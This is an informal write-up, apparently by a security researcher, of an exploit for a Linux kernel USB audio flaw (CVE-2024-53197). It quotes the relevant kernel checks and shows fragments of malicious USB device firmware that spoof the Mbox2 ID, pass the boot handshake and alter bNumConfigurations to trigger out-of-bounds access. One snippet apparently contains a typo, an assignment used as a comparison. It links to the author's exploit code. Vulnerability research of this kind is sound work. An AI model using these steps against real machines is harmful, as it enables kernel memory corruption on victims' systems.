So, the core of the mbox2 attack is a mistake in the snd_usb_mbox2_boot_quirk code. They ask for the descriptor of the device for a second time in the quirk. They ask first and allocate the number of configurations there, then the quirk asks again and overrides the field.

/* USB_DT_DEVICE: Device descriptor */
struct usb_device_descriptor {
    __u8  bLength;
    __u8  bDescriptorType;

    __le16 bcdUSB;
    __u8  bDeviceClass;
    __u8  bDeviceSubClass;
    __u8  bDeviceProtocol;
    __u8  bMaxPacketSize0;
    __le16 idVendor;
    __le16 idProduct;
    __le16 bcdDevice;
    __u8  iManufacturer;
    __u8  iProduct;
    __u8  iSerialNumber;
    __u8  bNumConfigurations;
} __attribute__ ((packed));
^ bNumConfigurations here. bNumConfigurations is capped at 8, and used in a bunch of for loops. So you have a time-of-allocation number, that you control, and then you can override the bNumConfigurations to any other number that's smaller than or equal to 8, which then results in out of bounds access in various for loops. The way you exploit this is by first triggering the quirk. The quirk is triggered if you set the right USB ID In my code:

        .idVendor        = 0x0dba, // Your vendor id
        .idProduct       = 0x3000, // Your product ID

Then for the mbox2 exploit, you have to get past this if statement:


fwsize = le16_to_cpu(get_cfg_desc(config)->wTotalLength);
if (fwsize != MBOX2_FIRMWARE_SIZE) {
    dev_err(&dev->dev, "Invalid firmware size=%d.\n", fwsize);
    return -ENODEV;
}

wTotalLength is computed from the amount of descriptors included in the USB_DT_CONFIG response (if I remember right), and it's the min of the actual amount of descriptors and the wTotalLength field of the usb_config_descriptor struct.

The usb_config_descriptor struct is a response to USB_DT_CONFIG; It's one of the descriptors.

It counts the bytes occupied by the descriptors returned in response, and sets that as the wTotalLength. This then has to match:

#define MBOX2_FIRMWARE_SIZE    646

That bypasses the first check.

I picked mbox2 instead of extigy simply cuz they have more logging, so it was easier to debug. extigy is the exact same up untill this point. Just different firmware sizes. I think I had some testing code working with extigy too. Now specifically for mbox2 they have this

count = 0;
bootresponse[0] = MBOX2_BOOT_LOADING;
while ((bootresponse[0] == MBOX2_BOOT_LOADING) && (count < 10)) {
    msleep(500); /* 0.5 second delay */
    snd_usb_ctl_msg(dev, usb_rcvctrlpipe(dev, 0),
        /* Control magic - load onboard firmware */
        0x85, 0xc0, 0x0001, 0x0000, &bootresponse, 0x0012);
    if (bootresponse[0] == MBOX2_BOOT_READY)
        break;
    dev_dbg(&dev->dev, "device not ready, resending boot sequence...\n");
    count++;
}

if (bootresponse[0] != MBOX2_BOOT_READY) {
    dev_err(&dev->dev, "Unknown bootresponse=%d, or timed out, ignoring device.\n", bootresponse[0]);
    return -ENODEV;
}

So you have to respond to the request 0x85 with 0x02:

#define MBOX2_BOOT_LOADING     0x01 /* Hard coded into the device */
#define MBOX2_BOOT_READY       0x02 /* Hard coded into the device */

That's the only passable code snippet in my exploit code:

} else if (req = 0x85 && !transfered_reset) {
    memset(&ep0_buf[0], 0, 12);
    ep0_buf[0] = 0x02;
    usb_start_transfer(usb_get_endpoint_configuration(EP0_IN_ADDR), &ep0_buf[0], 12);
    transfered_reset = 0x01;
}

First I zero out the response buffer, then I set the first byte to MBOX2_BOOT_READY, then I transfer it, and set an internal flag (transferred_reset). The internal flag is then used to trigger the exploit:

if(transfered_reset) {
    d->bNumConfigurations = 8;
}

This is in the handler for USB_DT_DEVICE.

That's the mbox2 exploit. Not very useful on its own. My code ➤ https://gitea.itycodes.org/itycodes/CVE-2024-53197 Note that it's very much "exploit-quality code"